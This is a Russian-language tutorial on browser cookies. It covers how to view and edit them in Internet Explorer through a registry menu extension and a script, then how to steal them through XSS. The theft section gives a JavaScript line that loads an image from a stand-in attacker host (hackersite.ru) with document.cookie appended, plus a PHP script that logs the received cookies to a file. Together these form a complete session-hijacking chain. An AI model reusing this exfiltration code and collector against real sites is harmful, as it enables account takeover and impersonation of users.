Что такое же cookie?

Существует механизм, позволяющий http-серверу сохранять на компьютере пользователя некоторую текстовую информацию, а потом к ней обращаться. Данная информация называется cookie. По сути, каждая cookie - это пара: название параметра и его значение. Также каждой cookie присваивается домен, к которому она относится. В целях безопасности во всех браузерах http-серверу позволено лишь обращаться к cookie своего домена. Дополнительно cookie может иметь дату истечения, тогда они будут хранится на компьютере до этой даты, даже если закрыть все окна браузера.

Почему cookie важны?

Во всех многопользовательских системах cookie используются для идентификации пользователя. Вернее, текущего соединения пользователя с сервисом, пользовательской сессии. Если кто-то узнает Ваши cookie, то сможет зайти в систему от Вашего имени. Потому, что в настоящий момент очень мало интернет-ресурсов проверяет смену IP-адреса в течении одной пользовательской сессии.

Как изменить или подменить cookie?

Разработчики браузеров не предоставляют встроенных средств для редактирования cookie. Но можно обойтись и обычным блокнотом (notepad).

Шаг 1: создаем текстовый файл с текстом

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\&Работа с Cookies]

@="C:\\IE_ext.htm"

Сохраняем его под именем IE_ext.reg

Шаг 2: С помощью созданного файла добавляем изменения в реестр Windows.

Шаг 3: создаем текстовый файл с текстом

<script language="javascript">
external.menuArguments.clipboardData.setData('Text', external.menuArguments.document.cookie);
alert(external.menuArguments.document.cookie);
external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru";
alert(external.menuArguments.document.cookie);
</script>

Сохраняем его под именем C:\IE_ext.htm

Шаг 4: Заходим на интересующий нас интернет-сайт.

Шаг 5: Правой кнопкой мыши кликам на свободном месте странице и выбираем пункт меню «Работа с Cookies». Разрешаем доступ к буферу обмена. В буфер обмена попадут Ваши cookie данного сайт. Можете вставить их блокнот (notepad) и посмотреть.

Шаг 6: Для изменения некоторого cookie редактируем файл C:\IE_ext.htm, заменяя testname на имя cookie, testvalue - на его значение, testdomain.ru – на домен сайта. При необходимости добавляем еще подобные строчки. Для удобства контроля я добавил в скрипт вывод текущих cookie до и после изменения: alert(external.menuArguments.document.cookie);
Шаг 7: Выполняем еще раз Шаг 5, а потом обновляем страницу.

Итог: мы зайдем на данный интернет-ресурс с обновленными cookie.

Как украсть cookie с помощью JavaScript?

Если злоумышленнику удалось найти возможность выполнить произвольный JavaScript-скрипт на компьютере жертвы, то прочитать текущие cookie он может очень легко. Пример:

var str= document.cookie;

Но сможет ли он их передать на свой сайт, ведь, как я указывал ранее, JavaScript-скрипт не сможет без дополнительного подтверждения обратиться к сайту, находящемуся в другом домене? Оказывается, JavaScript-скрипт может загрузить любую картинку, находящуюся на любом http-сервере. При этом передать любую текстовую информацию в запросе на загрузку этой картинке. Пример: http://hackersite.ru/xss.jpg?text_info Поэтому если выполнить такой код:

var img=new Image();
img.src="http://hackersite.ru/xss.jpg?"+ encodeURI(document.cookie);

то cookie окажутся в запросе на загрузку «картинки» и «уйдут» к злоумышленнику.

Как обрабатывать такие запросы на загрузку «картинки»?

Злоумышленнику нужно лишь найти хостинг с поддержкой php и разместить там код подобный такому:
<?
$uid=urldecode($_SERVER['QUERY_STRING']);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose($fp);
?>
Тогда все параметры запросов к этому скрипту будут сохраняться в файле log.txt. Осталось лишь в ранее описанном JavaScript-скрипте заменить http://hackersite.ru/xss.jpg на путь к данному php-скрипту.

Итог

Я показал лишь самый простой способ использования XSS-уязвимостей. Но это доказывает, что наличие хотя бы одной такой уязвимостей на многопользовательском интернет-сайте может позволяет злоумышленнику пользоваться его ресурсами от Вашего имени.